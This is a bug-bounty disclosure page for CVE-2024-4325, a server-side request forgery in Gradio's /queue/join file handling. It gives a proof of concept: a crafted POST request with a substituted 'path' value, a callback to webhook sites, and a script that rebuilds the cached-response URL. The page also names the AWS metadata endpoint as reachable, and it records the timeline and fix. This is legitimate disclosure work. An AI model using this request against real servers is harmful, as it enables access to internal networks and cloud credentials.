

Server-Side Request Forgery SSRF in gradio-app/gradio

✓ Valid

Reported on Mar 14th 2024

If the `path` value obtained from the user is a URL, an HTTP request is made to this URL. When sufficient checks are not provided during this process, an attacker can gain access to the local network, leading to an SSRF vulnerability.

The vulnerability occurs in the `/queue/join` endpoint and the `save_url_to_cache` function.

Function Call Chain

File "gradio/blocks.py", line 1391, `processing_utils.move_files_to_cache`

→ File "gradio/processing_utils.py", line 310, `client_utils.traverse(data, _move_to_cache, client_utils.is_file_obj)`

→ File "gradio_client/utils.py", line 1015, `new_obj.append(traverse(item, func, is_root))`

→ File "gradio_client/utils.py", line 1006, `return func(json_obj)`

→ File "gradio/processing_utils.py", line 286, `temp_file_path = block.move_resource_to_block_cache(payload.path)`

→ File "gradio/blocks.py", line 251, `temp_file_path = processing_utils.save_url_to_cache(url, cache_dir)`

POC

- Run the following [example](#) found in Gradio's documentation

```
import gradio as gr

def upload_file(files):
    file_paths = [file.name for file in files]
    return file_paths

with gr.Blocks() as demo:
    file_output = gr.File()
    upload_button = gr.UploadButton("Click to Upload an Image or Video File", file_output)
    upload_button.upload(upload_file, upload_button, file_output)

demo.launch()
```

- Get a webhook url for testing. You can use these sites for this:
 - <https://app.interactsh.com>
 - <https://webhook.site>
- Stop the requests with Burp Suite and replace the `path` parameter of the request going to the `/queue/join` endpoint with the payload. e.g:

```
POST /queue/join? HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Content-Length: 318

{
  "data": [
    [
      {
        "meta": {
          "_type": "gradio.FileData"
        },
        "path": "PAYLOAD",
        "url": "http://127.0.0.1:7860/file=/tmp/gradio/d1be868eeb62e5194df1",
        "orig_name": "favicon.ico",
        "size": 15406,
        "mime_type": "image/x-icon"
      }
    ]
  ],
  "event_data": null,
  "fn_index": 0,
  "trigger_id": 2,
  "session_hash": "l8v6ku4cm8d"
}
```

- You will see an http get request coming to your webhook url.
- Make the following request using the sha1 hash of the url to view the output of the request

```
import hashlib
from pathlib import Path

url="PAYLOAD"
sha1 = hashlib.sha1()
sha1.update(url.encode("utf-8"))

print(f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{Path(url).name}")
```

Impact

This vulnerability could allow a malicious user to gain access to internal servers. It also provides access to the AWS metadata endpoint

Occurrences

 processing_utils.py L183

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago



✎️ **huntr-helper** modified the Severity from High (8.6) to High (8.3) 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago

✉️ We have sent a second follow up to the **gradio-app/gradio** team. We will try again in 7 days. 2 years ago

✉️ We have sent a third follow up to the **gradio-app/gradio** team. We will try again in 14 days. 2 years ago

✉️ We have sent a fourth follow up to the **gradio-app/gradio** team. We will send a final notification 48 hours before report publication. 2 years ago

⚠️ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



✎️ **Dan McInerney** modified the Severity from High (8.3) to High (8.6) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Dan McInerney validated this vulnerability 2 years ago

Replicated. Good PoC and report.

\$ **mvlttt** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-4325 assigned to this report. 2 years ago



Dan McInerney gave praise 2 years ago

+1 for good PoC

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



May commented 2 years ago

Maybe this one is the same as <https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a> ?



Freddy Boulton commented 2 years ago

Maintainer

Thanks @mvlttt . What's the best way to mitigate this? Preventing `save_url_to_cache` from accessing the localhost?



A [gradio-app/gradio](#) maintainer has acknowledged this report 2 years ago

mvlttt commented 2 years ago

Researcher

Hi @freddyaboulton , I couldn't find a component that downloads files directly from a url (using the path parameter), so blocking the local network will solve this problem.I sent a PR for you. <https://github.com/gradio-app/gradio/pull/8301>



CVE-2024-4325 has now been published 2 years ago



Dan McInerney marked this as fixed in 4.41.0 with commit 5d5656 a year ago

\$ Abubakar Abid has been awarded the fix bounty ✓

\$ `processing_utils.py#L183` has been validated ✓

[Sign in](#) to join this conversation

CVE

CVE-2024-4325

Published

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

High (8.6)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
4.21.0

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



mvlttt
@mvlttt
MIDDLEWEIGHT


Fixed by



Abubakar Abid
@abidlabs
UNPROVEN


Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

